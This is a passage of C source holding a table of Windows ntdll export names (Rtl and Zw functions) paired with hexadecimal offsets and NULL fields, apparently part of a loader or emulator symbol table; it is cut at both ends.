NULL, NULL},\n\t{\"RtlIdentifierAuthoritySid\", 0x0002A26C, NULL, NULL},\n\t{\"RtlImageDirectoryEntryToData\", 0x00010346, NULL, NULL},\n\t{\"RtlImageNtHeader\", 0x00010339, NULL, NULL},\n\t{\"RtlImageRvaToSection\", 0x000128D7, NULL, NULL},\n\t{\"RtlImageRvaToVa\", 0x00030B6A, NULL, NULL},\n\t{\"RtlImpersonateSelf\", 0x00029DA7, NULL, NULL},\n\t{\"RtlInitAnsiString\", 0x0000125D, NULL, NULL},\n\t{\"RtlInitCodePageTable\", 0x00022676, NULL, NULL},\n\t{\"RtlInitMemoryStream\", 0x00021534, NULL, NULL},\n\t{\"RtlInitNlsTables\", 0x00022645, NULL, NULL},\n\t{\"RtlInitOutOfProcessMemoryStream\", 0x000209F2, NULL, NULL},\n\t{\"RtlInitString\", 0x00001225, NULL, NULL},\n\t{\"RtlInitUnicodeString\", 0x00001295, NULL, NULL},\n\t{\"RtlInitUnicodeStringEx\", 0x0000FE95, NULL, NULL},\n\t{\"RtlInitializeAtomPackage\", 0x0002223C, NULL, NULL},\n\t{\"RtlInitializeBitMap\", 0x00018A7C, NULL, NULL},\n\t{\"RtlInitializeContext\", 0x0002E0D9, NULL, NULL},\n\t{\"RtlInitializeCriticalSection\", 0x0001161D, NULL, NULL},\n\t{\"RtlInitializeCriticalSectionAndSpinCount\", 0x0001151A, NULL, NULL},\n\t{\"RtlInitializeGenericTable\", 0x000214B1, NULL, NULL},\n\t{\"RtlInitializeGenericTableAvl\", 0x00030191, NULL, NULL},\n\t{\"RtlInitializeHandleTable\", 0x00018B9A, NULL, NULL},\n\t{\"RtlInitializeRXact\", 0x0002FE4A, NULL, NULL},\n\t{\"RtlInitializeRangeList\", 0x0005CC29, NULL, NULL},\n\t{\"RtlInitializeResource\", 0x0001E6FB, NULL, NULL},\n\t{\"RtlInitializeSListHead\", 0x00034FC3, NULL, NULL},\n\t{\"RtlInitializeSid\", 0x00018295, NULL, NULL},\n\t{\"RtlInitializeStackTraceDataBase\", 0x00064ECF, NULL, NULL},\n\t{\"RtlInsertElementGenericTable\", 0x00024A3F, NULL, NULL},\n\t{\"RtlInsertElementGenericTableAvl\", 0x00064209, NULL, NULL},\n\t{\"RtlInt64ToUnicodeString\", 0x00060E71, NULL, NULL},\n\t{\"RtlIntegerToChar\", 0x0001AD08, NULL, NULL},\n\t{\"RtlIntegerToUnicodeString\", 0x0001AE2E, NULL, NULL},\n\t{\"RtlInterlockedFlushSList\", 0x00064DED, NULL, NULL},\n\t{\"RtlInterlockedPopEntrySList\", 0x00033CB3, NULL, NULL},\n\t{\"RtlInterlockedPushEntrySList\", 0x00033C71, NULL, NULL},\n\t{\"RtlInvertRangeList\", 0x0005DB0F, NULL, NULL},\n\t{\"RtlIpv4AddressToStringA\", 0x000653B3, NULL, NULL},\n\t{\"RtlIpv4AddressToStringExA\", 0x00065401, NULL, NULL},\n\t{\"RtlIpv4AddressToStringExW\", 0x0002D982, NULL, NULL},\n\t{\"RtlIpv4AddressToStringW\", 0x0002D9FA, NULL, NULL},\n\t{\"RtlIpv4StringToAddressA\", 0x0002C981, NULL, NULL},\n\t{\"RtlIpv4StringToAddressExA\", 0x00065D5F, NULL, NULL},\n\t{\"RtlIpv4StringToAddressExW\", 0x00036B9F, NULL, NULL},\n\t{\"RtlIpv4StringToAddressW\", 0x00035A94, NULL, NULL},\n\t{\"RtlIpv6AddressToStringA\", 0x000650A1, NULL, NULL},\n\t{\"RtlIpv6AddressToStringExA\", 0x000652CD, NULL, NULL},\n\t{\"RtlIpv6AddressToStringExW\", 0x0006570F, NULL, NULL},\n\t{\"RtlIpv6AddressToStringW\", 0x000654A7, NULL, NULL},\n\t{\"RtlIpv6StringToAddressA\", 0x00065803, NULL, NULL},\n\t{\"RtlIpv6StringToAddressExA\", 0x00065B22, NULL, NULL},\n\t{\"RtlIpv6StringToAddressExW\", 0x000661F6, NULL, NULL},\n\t{\"RtlIpv6StringToAddressW\", 0x00065EF8, NULL, NULL},\n\t{\"RtlIsActivationContextActive\", 0x000580F6, NULL, NULL},\n\t{\"RtlIsDosDeviceName_U\", 0x000130A8, NULL, NULL},\n\t{\"RtlIsGenericTableEmpty\", 0x0001E38C, NULL, NULL},\n\t{\"RtlIsGenericTableEmptyAvl\", 0x000640AE, NULL, NULL},\n\t{\"RtlIsNameLegalDOS8Dot3\", 0x000646DF, NULL, NULL},\n\t{\"RtlIsRangeAvailable\", 0x0005D583, NULL, NULL},\n\t{\"RtlIsTextUnicode\", 0x0002906B, NULL, NULL},\n\t{\"RtlIsThreadWithinLoaderCallout\", 0x00052AC1, NULL, NULL},\n\t{\"RtlIsValidHandle\", 0x000132DD, NULL, NULL},\n\t{\"RtlIsValidIndexHandle\", 0x000133CE, NULL, NULL},\n\t{\"RtlLargeIntegerAdd\", 0x00003002, NULL, NULL},\n\t{\"RtlLargeIntegerArithmeticShift\", 0x000031E2, NULL, NULL},\n\t{\"RtlLargeIntegerDivide\", 0x00066459, NULL, NULL},\n\t{\"RtlLargeIntegerNegate\", 0x0000320E, NULL, NULL},\n\t{\"RtlLargeIntegerShiftLeft\", 0x00003192, NULL, NULL},\n\t{\"RtlLargeIntegerShiftRight\", 0x000031BA, NULL, NULL},\n\t{\"RtlLargeIntegerSubtract\", 0x00003222, NULL, NULL},\n\t{\"RtlLargeIntegerToChar\", 0x00060AA4, NULL, NULL},\n\t{\"RtlLeaveCriticalSection\", 0x000010E0, NULL, NULL},\n\t{\"RtlLengthRequiredSid\", 0x000136B8, NULL, NULL},\n\t{\"RtlLengthSecurityDescriptor\", 0x0002B2CB, NULL, NULL},\n\t{\"RtlLengthSid\", 0x0001319E, NULL, NULL},\n\t{\"RtlLocalTimeToSystemTime\", 0x00063BB8, NULL, NULL},\n\t{\"RtlLockBootStatusData\", 0x000302E3, NULL, NULL},\n\t{\"RtlLockHeap\", 0x0001320B, NULL, NULL},\n\t{\"RtlLockMemoryStreamRegion\", 0x00053700, NULL, NULL},\n\t{\"RtlLogStackBackTrace\", 0x000115D4, NULL, NULL},\n\t{\"RtlLookupAtomInAtomTable\", 0x000284AA, NULL, NULL},\n\t{\"RtlLookupElementGenericTable\", 0x0002102F, NULL, NULL},\n\t{\"RtlLookupElementGenericTableAvl\", 0x00064395, NULL, NULL},\n\t{\"RtlMakeSelfRelativeSD\", 0x0002994F, NULL, NULL},\n\t{\"RtlMapGenericMask\", 0x00029FFD, NULL, NULL},\n\t{\"RtlMapSecurityErrorToNtStatus\", 0x0005E0DA, NULL, NULL},\n\t{\"RtlMergeRangeLists\", 0x0005D7B6, NULL, NULL},\n\t{\"RtlMoveMemory\", 0x00002C94, NULL, NULL},\n\t{\"RtlMultiAppendUnicodeStringBuffer\", 0x00016915, NULL, NULL},\n\t{\"RtlMultiByteToUnicodeN\", 0x0000ECBA, NULL, NULL},\n\t{\"RtlMultiByteToUnicodeSize\", 0x0002939A, NULL, NULL},\n\t{\"RtlNewInstanceSecurityObject\", 0x00053AEC, NULL, NULL},\n\t{\"RtlNewSecurityGrantedAccess\", 0x00053B62, NULL, NULL},\n\t{\"RtlNewSecurityObject\", 0x0002E957, NULL, NULL},\n\t{\"RtlNewSecurityObjectEx\", 0x00032720, NULL, NULL},\n\t{\"RtlNewSecurityObjectWithMultipleInheritance\", 0x000538B1, NULL, NULL},\n\t{\"RtlNormalizeProcessParams\", 0x00022336, NULL, NULL},\n\t{\"RtlNtPathNameToDosPathName\", 0x0002441C, NULL, NULL},\n\t{\"RtlNtStatusToDosError\", 0x0000F62D, NULL, NULL},\n\t{\"RtlNtStatusToDosErrorNoTeb\", 0x0000F679, NULL, NULL},\n\t{\"RtlNumberGenericTableElements\", 0x00023B79, NULL, NULL},\n\t{\"RtlNumberGenericTableElementsAvl\", 0x0006419C, NULL, NULL},\n\t{\"RtlNumberOfClearBits\", 0x0005FE10, NULL, NULL},\n\t{\"RtlNumberOfSetBits\", 0x0005FE60, NULL, NULL},\n\t{\"RtlOemStringToUnicodeSize\", 0x0005F4C8, NULL, NULL},\n\t{\"RtlOemStringToUnicodeString\", 0x00027485, NULL, NULL},\n\t{\"RtlOemToUnicodeN\", 0x0002735C, NULL, NULL},\n\t{\"RtlOpenCurrentUser\", 0x00018AD9, NULL, NULL},\n\t{\"RtlPcToFileHeader\", 0x00034393, NULL, NULL},\n\t{\"RtlPinAtomInAtomTable\", 0x0005CB71, NULL, NULL},\n\t{\"RtlPopFrame\", 0x00019AE0, NULL, NULL},\n\t{\"RtlPrefixString\", 0x0002DC55, NULL, NULL},\n\t{\"RtlPrefixUnicodeString\", 0x00014408, NULL, NULL},\n\t{\"RtlProtectHeap\", 0x000611B2, NULL, NULL},\n\t{\"RtlPushFrame\", 0x00019B00, NULL, NULL},\n\t{\"RtlQueryAtomInAtomTable\", 0x000349BD, NULL, NULL},\n\t{\"RtlQueryDepthSList\", 0x00033D20, NULL, NULL},\n\t{\"RtlQueryEnvironmentVariable_U\", 0x00014599, NULL, NULL},\n\t{\"RtlQueryHeapInformation\", 0x0006219B, NULL, NULL},\n\t{\"RtlQueryInformationAcl\", 0x0002CED5, NULL, NULL},\n\t{\"RtlQueryInformationActivationContext\", 0x0000FCD2, NULL, NULL},\n\t{\"RtlQueryInformationActiveActivationContext\", 0x000135B1, NULL, NULL},\n\t{\"RtlQueryInterfaceMemoryStream\", 0x000205BD, NULL, NULL},\n\t{\"RtlQueryProcessBackTraceInformation\", 0x00054739, NULL, NULL},\n\t{\"RtlQueryProcessDebugInformation\", 0x00054F83, NULL, NULL},\n\t{\"RtlQueryProcessHeapInformation\", 0x000548E1, NULL, NULL},\n\t{\"RtlQueryProcessLockInformation\", 0x00054E0D, NULL, NULL},\n\t{\"RtlQueryRegistryValues\", 0x0002F3FE, NULL, NULL},\n\t{\"RtlQuerySecurityObject\", 0x000538EA, NULL, NULL},\n\t{\"RtlQueryTagHeap\", 0x00061465, NULL, NULL},\n\t{\"RtlQueryTimeZoneInformation\", 0x00060F71, NULL, NULL},\n\t{\"RtlQueueApcWow64Thread\", 0x00058095, NULL, NULL},\n\t{\"RtlQueueWorkItem\", 0x00027C58, NULL, NULL},\n\t{\"RtlRaiseException\", 0x0000E528, NULL, NULL},\n\t{\"RtlRaiseStatus\", 0x000666A0, NULL, NULL},\n\t{\"RtlRandom\", 0x000666CF, NULL, NULL},\n\t{\"RtlRandomEx\", 0x00037D38, NULL, NULL},\n\t{\"RtlReAllocateHeap\", 0x00019BA0, NULL, NULL},\n\t{\"RtlReadMemoryStream\", 0x000214EF, NULL, NULL},\n\t{\"RtlReadOutOfProcessMemoryStream\", 0x0002053F, NULL, NULL},\n\t{\"RtlRealPredecessor\", 0x00063C17, NULL, NULL},\n\t{\"RtlRealSuccessor\", 0x0001E356, NULL, NULL},\n\t{\"RtlRegisterSecureMemoryCacheCallback\", 0x000643B6, NULL, NULL},\n\t{\"RtlRegisterWait\", 0x00033233, NULL, NULL},\n\t{\"RtlReleaseActivationContext\", 0x00010547, NULL, NULL},\n\t{\"RtlReleaseMemoryStream\", 0x0002034F, NULL, NULL},\n\t{\"RtlReleasePebLock\", 0x00010451, NULL, NULL},\n\t{\"RtlReleaseResource\", 0x00029F84, NULL, NULL},\n\t{\"RtlRemoteCall\", 0x00064C80, NULL, NULL},\n\t{\"RtlRemoveVectoredExceptionHandler\", 0x00036C96, NULL, NULL},\n\t{\"RtlResetRtlTranslations\", 0x000224FB, NULL, NULL},\n\t{\"RtlRestoreLastWin32Error\", 0x0000FE30, NULL, NULL},\n\t{\"RtlRevertMemoryStream\", 0x000536F3, NULL, NULL},\n\t{\"RtlRunDecodeUnicodeString\", 0x0002D7E3, NULL, NULL},\n\t{\"RtlRunEncodeUnicodeString\", 0x0002D795, NULL, NULL},\n\t{\"RtlSecondsSince1970ToTime\", 0x00063B81, NULL, NULL},\n\t{\"RtlSecondsSince1980ToTime\", 0x00063B4A, NULL, NULL},\n\t{\"RtlSeekMemoryStream\", 0x00053610, NULL, NULL},\n\t{\"RtlSelfRelativeToAbsoluteSD2\", 0x0005C538, NULL, NULL},\n\t{\"RtlSelfRelativeToAbsoluteSD\", 0x0002CFD7, NULL, NULL},\n\t{\"RtlSetAllBits\", 0x0002C1FC, NULL, NULL},\n\t{\"RtlSetAttributesSecurityDescriptor\", 0x0005E1C5, NULL, NULL},\n\t{\"RtlSetBits\", 0x00026458, NULL, NULL},\n\t{\"RtlSetControlSecurityDescriptor\", 0x0002FAE0, NULL, NULL},\n\t{\"RtlSetCriticalSectionSpinCount\", 0x0002A067, NULL, NULL},\n\t{\"RtlSetCurrentDirectory_U\", 0x0001E7AA, NULL, NULL},\n\t{\"RtlSetCurrentEnvironment\", 0x000632F5, NULL, NULL},\n\t{\"RtlSetDaclSecurityDescriptor\", 0x0001867F, NULL, NULL},\n\t{\"RtlSetEnvironmentVariable\", 0x000277B8, NULL, NULL},\n\t{\"RtlSetGroupSecurityDescriptor\", 0x00018A32, NULL, NULL},\n\t{\"RtlSetHeapInformation\", 0x00037CE5, NULL, NULL},\n\t{\"RtlSetInformationAcl\", 0x0005C5B7, NULL, NULL},\n\t{\"RtlSetIoCompletionCallback\", 0x0002DD99, NULL, NULL},\n\t{\"RtlSetLastWin32Error\", 0x0000FE30, NULL, NULL},\n\t{\"RtlSetLastWin32ErrorAndNtStatusFromNtStatus\", 0x00064C5F, NULL, NULL},\n\t{\"RtlSetMemoryStreamSize\", 0x00053672, NULL, NULL},\n\t{\"RtlSetOwnerSecurityDescriptor\", 0x000189E8, NULL, NULL},\n\t{\"RtlSetProcessIsCritical\", 0x0002EB9C, NULL, NULL},\n\t{\"RtlSetSaclSecurityDescriptor\", 0x0002CF46, NULL, NULL},\n\t{\"RtlSetSecurityDescriptorRMControl\", 0x0005E0AF, NULL, NULL},\n\t{\"RtlSetSecurityObject\", 0x0002C49C, NULL, NULL},\n\t{\"RtlSetSecurityObjectEx\", 0x000538C1, NULL, NULL},\n\t{\"RtlSetThreadIsCritical\", 0x0002EBF0, NULL, NULL},\n\t{\"RtlSetThreadPoolStartFunc\", 0x00022299, NULL, NULL},\n\t{\"RtlSetTimeZoneInformation\", 0x00061099, NULL, NULL},\n\t{\"RtlSetTimer\", 0x000606D1, NULL, NULL},\n\t{\"RtlSetUnicodeCallouts\", 0x00059DC1, NULL, NULL},\n\t{\"RtlSetUserFlagsHeap\", 0x00061315, NULL, NULL},\n\t{\"RtlSetUserValueHeap\", 0x000193E9, NULL, NULL},\n\t{\"RtlSizeHeap\", 0x000104DD, NULL, NULL},\n\t{\"RtlSplay\", 0x00020ED8, NULL, NULL},\n\t{\"RtlStartRXact\", 0x0002B15E, NULL, NULL},\n\t{\"RtlStatMemoryStream\", 0x00020A55, NULL, NULL},\n\t{\"RtlStringFromGUID\", 0x00028EB6, NULL, NULL},\n\t{\"RtlSubAuthorityCountSid\", 0x000136E0, NULL, NULL},\n\t{\"RtlSubAuthoritySid\", 0x00018278, NULL, NULL},\n\t{\"RtlSubtreePredecessor\", 0x00024C5D, NULL, NULL},\n\t{\"RtlSubtreeSuccessor\", 0x00063BF4, NULL, NULL},\n\t{\"RtlSystemTimeToLocalTime\", 0x00035A58, NULL, NULL},\n\t{\"RtlTimeFieldsToTime\", 0x0001AB39, NULL, NULL},\n\t{\"RtlTimeToElapsedTimeFields\", 0x00063AE3, NULL, NULL},\n\t{\"RtlTimeToSecondsSince1970\", 0x0002B1F1, NULL, NULL},\n\t{\"RtlTimeToSecondsSince1980\", 0x0002A164, NULL, NULL},\n\t{\"RtlTimeToTimeFields\", 0x00011EFD, NULL, NULL},\n\t{\"RtlTraceDatabaseAdd\", 0x00066D4F, NULL, NULL},\n\t{\"RtlTraceDatabaseCreate\", 0x00066982, NULL, NULL},\n\t{\"RtlTraceDatabaseDestroy\", 0x00066A74, NULL, NULL},\n\t{\"RtlTraceDatabaseEnumerate\", 0x000668FA, NULL, NULL},\n\t{\"RtlTraceDatabaseFind\", 0x00066B5B, NULL, NULL},\n\t{\"RtlTraceDatabaseLock\", 0x00066D2F, NULL, NULL},\n\t{\"RtlTraceDatabaseUnlock\", 0x00066D3F, NULL, NULL},\n\t{\"RtlTraceDatabaseValidate\", 0x00066B11, NULL, NULL},\n\t{\"RtlTryEnterCriticalSection\", 0x00001118, NULL, NULL},\n\t{\"RtlUnhandledExceptionFilter2\", 0x00066F61, NULL, NULL},\n\t{\"RtlUnhandledExceptionFilter\", 0x000678E7, NULL, NULL},\n\t{\"RtlUnicodeStringToAnsiSize\", 0x0005F4A3, NULL, NULL},\n\t{\"RtlUnicodeStringToAnsiString\", 0x00012BB8, NULL, NULL},\n\t{\"RtlUnicodeStringToCountedOemString\", 0x0005F59E, NULL, NULL},\n\t{\"RtlUnicodeStringToInteger\", 0x0001AE91, NULL, NULL},\n\t{\"RtlUnicodeStringToOemSize\", 0x0005F4A3, NULL, NULL},\n\t{\"RtlUnicodeStringToOemString\", 0x0002720A, NULL, NULL},\n\t{\"RtlUnicodeToCustomCPN\", 0x0005B732, NULL, NULL},\n\t{\"RtlUnicodeToMultiByteN\", 0x00012A8D, NULL, NULL},\n\t{\"RtlUnicodeToMultiByteSize\", 0x000131BA, NULL, NULL},\n\t{\"RtlUnicodeToOemN\", 0x000270E8, NULL, NULL},\n\t{\"RtlUniform\", 0x0002EC31, NULL, NULL},\n\t{\"RtlUnlockBootStatusData\", 0x000303FB, NULL, NULL},\n\t{\"RtlUnlockHeap\", 0x00013273, NULL, NULL},\n\t{\"RtlUnlockMemoryStreamRegion\", 0x00053700, NULL, NULL},\n\t{\"RtlUnwind\", 0x0002ABC5, NULL, NULL},\n\t{\"RtlUpcaseUnicodeChar\", 0x000103E0, NULL, NULL},\n\t{\"RtlUpcaseUnicodeString\", 0x00026B83, NULL, NULL},\n\t{\"RtlUpcaseUnicodeStringToAnsiString\", 0x0005F4EF, NULL, NULL},\n\t{\"RtlUpcaseUnicodeStringToCountedOemString\", 0x0005F672, NULL, NULL},\n\t{\"RtlUpcaseUnicodeStringToOemString\", 0x0002C0C9, NULL, NULL},\n\t{\"RtlUpcaseUnicodeToCustomCPN\", 0x0005B8E1, NULL, NULL},\n\t{\"RtlUpcaseUnicodeToMultiByteN\", 0x000241DD, NULL, NULL},\n\t{\"RtlUpcaseUnicodeToOemN\", 0x0002BDA5, NULL, NULL},\n\t{\"RtlUpdateTimer\", 0x0002AF05, NULL, NULL},\n\t{\"RtlUpperChar\", 0x000293C2, NULL, NULL},\n\t{\"RtlUpperString\", 0x0005F7E9, NULL, NULL},\n\t{\"RtlUsageHeap\", 0x000624D8, NULL, NULL},\n\t{\"RtlValidAcl\", 0x000185CD, NULL, NULL},\n\t{\"RtlValidRelativeSecurityDescriptor\", 0x0002D229, NULL, NULL},\n\t{\"RtlValidSecurityDescriptor\", 0x00034E12, NULL, NULL},\n\t{\"RtlValidSid\", 0x00012F84, NULL, NULL},\n\t{\"RtlValidateHeap\", 0x00062208, NULL, NULL},\n\t{\"RtlValidateProcessHeaps\", 0x0006242B, NULL, NULL},\n\t{\"RtlValidateUnicodeString\", 0x00015E6A, NULL, NULL},\n\t{\"RtlVerifyVersionInfo\", 0x00034AF7, NULL, NULL},\n\t{\"RtlWalkFrameChain\", 0x0006072A, NULL, NULL},\n\t{\"RtlWalkHeap\", 0x00061911, NULL, NULL},\n\t{\"RtlWriteMemoryStream\", 0x00053603, NULL, NULL},\n\t{\"RtlWriteRegistryValue\", 0x00030FA0, NULL, NULL},\n\t{\"RtlZeroHeap\", 0x0005F193, NULL, NULL},\n\t{\"RtlZeroMemory\", 0x00002C64, NULL, NULL},\n\t{\"RtlZombifyActivationContext\", 0x000580A5, NULL, NULL},\n\t{\"RtlpApplyLengthFunction\", 0x000204D6, NULL, NULL},\n\t{\"RtlpEnsureBufferSize\", 0x0001E287, NULL, NULL},\n\t{\"RtlpNotOwnerCriticalSection\", 0x000537F0, NULL, NULL},\n\t{\"RtlpNtCreateKey\", 0x000679AB, NULL, NULL},\n\t{\"RtlpNtEnumerateSubKey\", 0x0002E5A1, NULL, NULL},\n\t{\"RtlpNtMakeTemporaryKey\", 0x00067A04, NULL, NULL},\n\t{\"RtlpNtOpenKey\", 0x00029867, NULL, NULL},\n\t{\"RtlpNtQueryValueKey\", 0x000297A6, NULL, NULL},\n\t{\"RtlpNtSetValueKey\", 0x000679D8, NULL, NULL},\n\t{\"RtlpUnWaitCriticalSection\", 0x0001B287, NULL, NULL},\n\t{\"RtlpWaitForCriticalSection\", 0x0001B1BF, NULL, NULL},\n\t{\"RtlxAnsiStringToUnicodeSize\", 0x0005F4C8, NULL, NULL},\n\t{\"RtlxOemStringToUnicodeSize\", 0x0005F4C8, NULL, NULL},\n\t{\"RtlxUnicodeStringToAnsiSize\", 0x0005F4A3, NULL, NULL},\n\t{\"RtlxUnicodeStringToOemSize\", 0x0005F4A3, NULL, NULL},\n\t{\"VerSetConditionMask\", 0x00034AB9, NULL, NULL},\n\t{\"ZwAcceptConnectPort\", 0x0000CE5E, NULL, NULL},\n\t{\"ZwAccessCheck\", 0x0000CE6E, NULL, NULL},\n\t{\"ZwAccessCheckAndAuditAlarm\", 0x0000CE7E, NULL, NULL},\n\t{\"ZwAccessCheckByType\", 0x0000CE8E, NULL, NULL},\n\t{\"ZwAccessCheckByTypeAndAuditAlarm\", 0x0000CE9E, NULL, NULL},\n\t{\"ZwAccessCheckByTypeResultList\", 0x0000CEAE, NULL, NULL},\n\t{\"ZwAccessCheckByTypeResultListAndAuditAlarm\", 0x0000CEBE, NULL, NULL},\n\t{\"ZwAccessCheckByTypeResultListAndAuditAlarmByHandle\", 0x0000CECE, NULL, NULL},\n\t{\"ZwAddAtom\", 0x0000CEDE, NULL, NULL},\n\t{\"ZwAddBootEntry\", 0x0000CEEE, NULL, NULL},\n\t{\"ZwAdjustGroupsToken\", 0x0000CEFE, NULL, NULL},\n\t{\"ZwAdjustPrivilegesToken\", 0x0000CF0E, NULL, NULL},\n\t{\"ZwAlertResumeThread\", 0x0000CF1E, NULL, NULL},\n\t{\"ZwAlertThread\", 0x0000CF2E, NULL, NULL},\n\t{\"ZwAllocateLocallyUniqueId\", 0x0000CF3E, NULL, NULL},\n\t{\"ZwAllocateUserPhysicalPages\", 0x0000CF4E, NULL, NULL},\n\t{\"ZwAllocateUuids\", 0x0000CF5E, NULL, NULL},\n\t{\"ZwAllocateVirtualMemory\", 0x0000CF6E, NULL, NULL},\n\t{\"ZwAreMappedFilesTheSame\", 0x0000CF7E, NULL, NULL},\n\t{\"ZwAssignProcessToJobObject\", 0x0000CF8E, NULL, NULL},\n\t{\"ZwCallbackReturn\", 0x0000CF9E, NULL, NULL},\n\t{\"ZwCancelDeviceWakeupRequest\", 0x0000CFAE, NULL, NULL},\n\t{\"ZwCancelIoFile\", 0x0000CFBE, NULL, NULL},\n\t{\"ZwCancelTimer\", 0x0000CFCE, NULL, NULL},\n\t{\"ZwClearEvent\", 0x0000CFDE, NULL, NULL},\n\t{\"ZwClose\", 0x0000CFEE, NULL, NULL},\n\t{\"ZwCloseObjectAuditAlarm\", 0x0000CFFE, NULL, NULL},\n\t{\"ZwCompactKeys\", 0x0000D00E, NULL, NULL},\n\t{\"ZwCompareTokens\", 0x0000D01E, NULL, NULL},\n\t{\"ZwCompleteConnectPort\", 0x0000D02E, NULL, NULL},\n\t{\"ZwCompressKey\", 0x0000D03E, NULL, NULL},\n\t{\"ZwConnectPort\", 0x0000D04E, NULL, NULL},\n\t{\"ZwContinue\", 0x0000D05E, NULL, NULL},\n\t{\"ZwCreateDebugObject\", 0x0000D06E, NULL, NULL},\n\t{\"ZwCreateDirectoryObject\", 0x0000D07E, NULL, NULL},\n\t{\"ZwCreateEvent\", 0x0000D08E, NULL, NULL},\n\t{\"ZwCreateEventPair\", 0x0000D09E, NULL, NULL},\n\t{\"ZwCreateFile\", 0x0000D0AE, NULL, NULL},\n\t{\"ZwCreateIoCompletion\", 0x0000D0BE, NULL, NULL},\n\t{\"ZwCreateJobObject\", 0x0000D0CE, NULL, NULL},\n\t{\"ZwCreateJobSet\", 0x0000D0DE, NULL, NULL},\n\t{\"ZwCreateKey\", 0x0000D0EE, NULL, NULL},\n\t{\"ZwCreateKeyedEvent\", 0x0000DFCE, NULL, NULL},\n\t{\"ZwCreateMailslotFile\", 0x0000D0FE, NULL, NULL},\n\t{\"ZwCreateMutant\", 0x0000D10E, NULL, NULL},\n\t{\"ZwCreateNamedPipeFile\", 0x0000D11E, NULL, NULL},\n\t{\"ZwCreatePagingFile\", 0x0000D12E, NULL, NULL},\n\t{\"ZwCreatePort\", 0x0000D13E, NULL, NULL},\n\t{\"ZwCreateProcess\", 0x0000D14E, NULL, NULL},\n\t{\"ZwCreateProcessEx\", 0x0000D15E, NULL, NULL},\n\t{\"ZwCreateProfile\", 0x0000D16E, NULL, NULL},\n\t{\"ZwCreateSection\", 0x0000D17E, NULL, NULL},\n\t{\"ZwCreateSemaphore\", 0x0000D18E, NULL, NULL},\n\t{\"ZwCreateSymbolicLinkObject\", 0x0000D19E, NULL, NULL},\n\t{\"ZwCreateThread\", 0x0000D1AE, NULL, NULL},\n\t{\"ZwCreateTimer\", 0x0000D1BE, NULL, NULL},\n\t{\"ZwCreateToken\", 0x0000D1CE, NULL, NULL},\n\t{\"ZwCreateWaitablePort\", 0x0000D1DE, NULL, NULL},\n\t{\"ZwDebugActiveProcess\", 0x0000D1EE, NULL, NULL},\n\t{\"ZwDebugContinue\", 0x0000D1FE, NULL, NULL},\n\t{\"ZwDelayExecution\", 0x0000D20E, NULL, NULL},\n\t{\"ZwDeleteAtom\", 0x0000D21E, NULL, NULL},\n\t{\"ZwDeleteBootEntry\", 0x0000D22E, NULL, NULL},\n\t{\"ZwDeleteFile\", 0x0000D23E, NULL, NULL},\n\t{\"ZwDeleteKey\", 0x0000D24E, NULL, NULL},\n\t{\"ZwDeleteObjectAuditAlarm\", 0x0000D25E, NULL, NULL},\n\t{\"ZwDeleteValueKey\", 0x0000D26E, NULL, NULL},\n\t{\"ZwDeviceIoControlFile\", 0x0000D27E, NULL, NULL},\n\t{\"ZwDisplayString\", 0x0000D28E, NULL, NULL},\n\t{\"ZwDuplicateObject\", 0x0000D29E, NULL, NULL},\n\t{\"ZwDuplicateToken\", 0x0000D2AE, NULL, NULL},\n\t{\"ZwEnumerateBootEntries\", 0x0000D2BE, NULL, NULL},\n\t{\"ZwEnumerateKey\", 0x0000D2CE, NULL, NULL},\n\t{\"ZwEnumerateSystemEnvironmentValuesEx\", 0x0000D2DE, NULL, NULL},\n\t{\"ZwEnumerateValueKey\", 0x0000D2EE, NULL, NULL},\n\t{\"ZwExtendSection\", 0x0000D2FE, NULL, NULL},\n\t{\"ZwFilterToken\", 0x0000D30E, NULL, NULL},\n\t{\"ZwFindAtom\", 0x0000D31E, NULL, NULL},\n\t{\"ZwFlushBuffersFile\", 0x0000D32E, NULL, NULL},\n\t{\"ZwFlushInstructionCache\", 0x0000D33E, NULL, NULL},\n\t{\"ZwFlushKey\", 0x0000D34E, NULL, NULL},\n\t{\"ZwFlushVirtualMemory\", 0x0000D35E, NULL, NULL},\n\t{\"ZwFlushWriteBuffer\", 0x0000D36E, NULL, NULL},\n\t{\"ZwFreeUserPhysicalPages\", 0x0000D37E, NULL, NULL},\n\t{\"ZwFreeVirtualMemory\", 0x0000D38E, NULL, NULL},\n\t{\"ZwFsControlFile\", 0x0000D39E, NULL, NULL},\n\t{\"ZwGetContextThread\", 0x0000D3AE, NULL, NULL},\n\t{\"ZwGetDevicePowerState\", 0x0000D3BE, NULL, NULL},\n\t{\"ZwGetPlugPlayEvent\", 0x0000D3CE, NULL, NULL},\n\t{\"ZwGetWriteWatch\", 0x0000D3DE, NULL, NULL},\n\t{\"ZwImpersonateAnonymousToken\", 0x0000D3EE, NULL, NULL},\n\t{\"ZwImpersonateClientOfPort\", 0x0000D3FE, NULL, NULL},\n\t{\"ZwImpersonateThread\", 0x0000D40E, NULL, NULL},\n\t{\"ZwInitializeRegistry\", 0x0000D41E, NULL, NULL},\n\t{\"ZwInitiatePowerAction\", 0x0000D42E, NULL, NULL},\n\t{\"ZwIsProcessInJob\", 0x0000D43E, NULL, NULL},\n\t{\"ZwIsSystemResumeAutomatic\", 0x0000D44E, NULL, NULL},\n\t{\"ZwListenPort\", 0x0000D45E, NULL, NULL},\n\t{\"ZwLoadDriver\", 0x0000D46E, NULL, NULL},\n\t{\"ZwLoadKey2\", 0x0000D48E, NULL, NULL},\n\t{\"ZwLoadKey\", 0x0000D47E, NULL, NULL},\n\t{\"ZwLockFile\", 0x0000D49E, NULL, NULL},\n\t{\"ZwLockProductActivationKeys\", 0x0000D4AE, NULL, NULL},\n\t{\"ZwLockRegistryKey\", 0x0000D4BE, NULL, NULL},\n\t{\"ZwLockVirtualMemory\", 0x0000D4CE, NULL, NULL},\n\t{\"ZwMakePermanentObject\", 0x0000D4DE, NULL, NULL},\n\t{\"ZwMakeTemporaryObject\", 0x0000D4EE, NULL, NULL},\n\t{\"ZwMapUserPhysicalPages\", 0x0000D4FE, NULL, NULL},\n\t{\"ZwMapUserPhysicalPagesScatter\", 0x0000D50E, NULL, NULL},\n\t{\"ZwMapViewOfSection\", 0x0000D51E, NULL, NULL},\n\t{\"ZwModifyBootEntry\", 0x0000D52E, NULL, NULL},\n\t{\"ZwNotifyChangeDirectoryFile\", 0x0000D53E, NULL, NULL},\n\t{\"ZwNotifyChangeKey\", 0x0000D54E, NULL, NULL},\n\t{\"ZwNotifyChangeMultipleKeys\", 0x0000D55E, NULL, NULL},\n\t{\"ZwOpenDirectoryObject\", 0x0000D56E, NULL, NULL},\n\t{\"ZwOpenEvent\", 0x0000D57E, NULL, 